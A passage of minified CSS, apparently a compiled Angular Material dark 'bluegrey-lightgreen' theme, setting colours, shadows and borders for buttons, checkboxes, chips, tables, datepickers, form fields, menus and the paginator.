.mat-raised-button.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn.mat-button-disabled,.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled.mat-button-disabled{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-flat-button.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-flat-button.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-flat-button.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-raised-button.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-fab.mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-mini-fab.mat-warn .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-stroked-button:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-flat-button:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-raised-button:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-raised-button:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 5px 5px -3px #0003,0 8px 10px 1px #00000024,0 3px 14px 2px #0000001f}.bluegrey-lightgreen-theme .mat-raised-button.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-fab:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab:not([class*=mat-elevation-z]){box-shadow:0 3px 5px -1px #0003,0 6px 10px #00000024,0 1px 18px #0000001f}.bluegrey-lightgreen-theme .mat-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab:not(.mat-button-disabled):active:not([class*=mat-elevation-z]){box-shadow:0 7px 8px -4px #0003,0 12px 17px 2px #00000024,0 5px 22px 4px #0000001f}.bluegrey-lightgreen-theme .mat-fab.mat-button-disabled:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-mini-fab.mat-button-disabled:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-button-toggle-standalone:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-button-toggle-group:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard:not([class*=mat-elevation-z]),.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.bluegrey-lightgreen-theme .mat-button-toggle{color:#ffffff80}.bluegrey-lightgreen-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-button-toggle-appearance-standard{color:#fff;background:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#fff}.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #595959}.bluegrey-lightgreen-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #595959}.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #595959}.bluegrey-lightgreen-theme .mat-button-toggle-checked{background-color:#212121;color:#ffffffb3}.bluegrey-lightgreen-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#fff}.bluegrey-lightgreen-theme .mat-button-toggle-disabled{color:#ffffff4d;background-color:#000}.bluegrey-lightgreen-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#424242}.bluegrey-lightgreen-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.bluegrey-lightgreen-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #595959}.bluegrey-lightgreen-theme .mat-card{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.bluegrey-lightgreen-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.bluegrey-lightgreen-theme .mat-card-subtitle{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-checkbox-frame{border-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-checkbox-checkmark{fill:#303030}.bluegrey-lightgreen-theme .mat-checkbox-checkmark-path{stroke:#303030!important}.bluegrey-lightgreen-theme .mat-checkbox-mixedmark{background-color:#303030}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#689f38}.bluegrey-lightgreen-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.bluegrey-lightgreen-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#686868}.bluegrey-lightgreen-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#686868}.bluegrey-lightgreen-theme .mat-checkbox-disabled .mat-checkbox-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-checkbox .mat-ripple-element{background-color:#fff}.bluegrey-lightgreen-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#546e7a}.bluegrey-lightgreen-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#689f38}.bluegrey-lightgreen-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.bluegrey-lightgreen-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#ff5722}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip{background-color:#616161;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip:after{background:white}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.bluegrey-lightgreen-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-table{background:#424242}.bluegrey-lightgreen-theme .mat-table thead,.bluegrey-lightgreen-theme .mat-table tbody,.bluegrey-lightgreen-theme .mat-table tfoot,.bluegrey-lightgreen-theme mat-header-row,.bluegrey-lightgreen-theme mat-row,.bluegrey-lightgreen-theme mat-footer-row,.bluegrey-lightgreen-theme [mat-header-row],.bluegrey-lightgreen-theme [mat-row],.bluegrey-lightgreen-theme [mat-footer-row],.bluegrey-lightgreen-theme .mat-table-sticky{background:inherit}.bluegrey-lightgreen-theme mat-row,.bluegrey-lightgreen-theme mat-header-row,.bluegrey-lightgreen-theme mat-footer-row,.bluegrey-lightgreen-theme th.mat-header-cell,.bluegrey-lightgreen-theme td.mat-cell,.bluegrey-lightgreen-theme td.mat-footer-cell{border-bottom-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-header-cell{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-cell,.bluegrey-lightgreen-theme .mat-footer-cell{color:#fff}.bluegrey-lightgreen-theme .mat-calendar-arrow{fill:#fff}.bluegrey-lightgreen-theme .mat-datepicker-toggle,.bluegrey-lightgreen-theme .mat-datepicker-content .mat-calendar-next-button,.bluegrey-lightgreen-theme .mat-datepicker-content .mat-calendar-previous-button{color:#fff}.bluegrey-lightgreen-theme .mat-calendar-table-header-divider:after{background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-calendar-table-header,.bluegrey-lightgreen-theme .mat-calendar-body-label{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-calendar-body-cell-content,.bluegrey-lightgreen-theme .mat-date-range-input-separator{color:#fff;border-color:transparent}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#ffffff80}.bluegrey-lightgreen-theme .mat-calendar-body-in-preview{color:#ffffff3d}.bluegrey-lightgreen-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff80}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#ffffff4d}.bluegrey-lightgreen-theme .mat-calendar-body-in-range:before{background:rgba(84,110,122,.2)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(84,110,122,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(84,110,122,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-calendar-body-selected{background-color:#546e7a;color:#fff}.bluegrey-lightgreen-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#546e7a66}.bluegrey-lightgreen-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#546e7a4d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#546e7a4d}}.bluegrey-lightgreen-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(104,159,56,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(104,159,56,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(104,159,56,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#689f38;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#689f3866}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#689f384d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#689f384d}}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(255,87,34,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(255,87,34,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(255,87,34,.2) 50%,rgba(249,171,0,.2) 50%)}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#ff5722;color:#fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#ff572266}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff57224d}@media (hover: hover){.bluegrey-lightgreen-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#ff57224d}}.bluegrey-lightgreen-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active{color:#546e7a}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-datepicker-toggle-active.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.bluegrey-lightgreen-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-divider{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-divider-vertical{border-right-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-expansion-panel{background:#424242;color:#fff}.bluegrey-lightgreen-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.bluegrey-lightgreen-theme .mat-action-row{border-top-color:#ffffff1f}.bluegrey-lightgreen-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.bluegrey-lightgreen-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.bluegrey-lightgreen-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.bluegrey-lightgreen-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.bluegrey-lightgreen-theme .mat-expansion-panel-header-title{color:#fff}.bluegrey-lightgreen-theme .mat-expansion-panel-header-description,.bluegrey-lightgreen-theme .mat-expansion-indicator:after{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.bluegrey-lightgreen-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.bluegrey-lightgreen-theme .mat-form-field-label,.bluegrey-lightgreen-theme .mat-hint{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-focused .mat-form-field-required-marker{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-ripple{background-color:#fff}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.bluegrey-lightgreen-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#ff5722}.bluegrey-lightgreen-theme .mat-error{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-form-field-label,.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.bluegrey-lightgreen-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.bluegrey-lightgreen-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#546e7a}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#689f38}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.bluegrey-lightgreen-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.bluegrey-lightgreen-theme .mat-icon.mat-primary{color:#546e7a}.bluegrey-lightgreen-theme .mat-icon.mat-accent{color:#689f38}.bluegrey-lightgreen-theme .mat-icon.mat-warn{color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-input-element:disabled,.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element{caret-color:#546e7a}.bluegrey-lightgreen-theme .mat-input-element::placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.bluegrey-lightgreen-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.bluegrey-lightgreen-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.bluegrey-lightgreen-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#689f38}.bluegrey-lightgreen-theme .mat-form-field.mat-warn .mat-input-element,.bluegrey-lightgreen-theme .mat-form-field-invalid .mat-input-element{caret-color:#ff5722}.bluegrey-lightgreen-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#ff5722}.bluegrey-lightgreen-theme .mat-list-base .mat-list-item,.bluegrey-lightgreen-theme .mat-list-base .mat-list-option{color:#fff}.bluegrey-lightgreen-theme .mat-list-base .mat-subheader{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.bluegrey-lightgreen-theme .mat-list-option:hover,.bluegrey-lightgreen-theme .mat-list-option:focus,.bluegrey-lightgreen-theme .mat-nav-list .mat-list-item:hover,.bluegrey-lightgreen-theme .mat-nav-list .mat-list-item:focus,.bluegrey-lightgreen-theme .mat-action-list .mat-list-item:hover,.bluegrey-lightgreen-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-list-single-selected-option,.bluegrey-lightgreen-theme .mat-list-single-selected-option:hover,.bluegrey-lightgreen-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.bluegrey-lightgreen-theme .mat-menu-panel{background:#424242}.bluegrey-lightgreen-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.bluegrey-lightgreen-theme .mat-menu-item{background:transparent;color:#fff}.bluegrey-lightgreen-theme .mat-menu-item[disabled],.bluegrey-lightgreen-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.bluegrey-lightgreen-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.bluegrey-lightgreen-theme .mat-menu-item .mat-icon-no-color,.bluegrey-lightgreen-theme .mat-menu-submenu-icon{color:#fff}.bluegrey-lightgreen-theme .mat-menu-item:hover:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item.cdk-program-focused:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.bluegrey-lightgreen-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.bluegrey-lightgreen-theme .mat-paginator{background:#424242}.bluegrey-lightgreen-theme .mat-paginator,.bluegrey-lightgreen-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.bluegrey-lightgreen-theme .mat-paginator-decrement,.bluegrey-lightgreen-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.bluegrey-lightgreen-theme 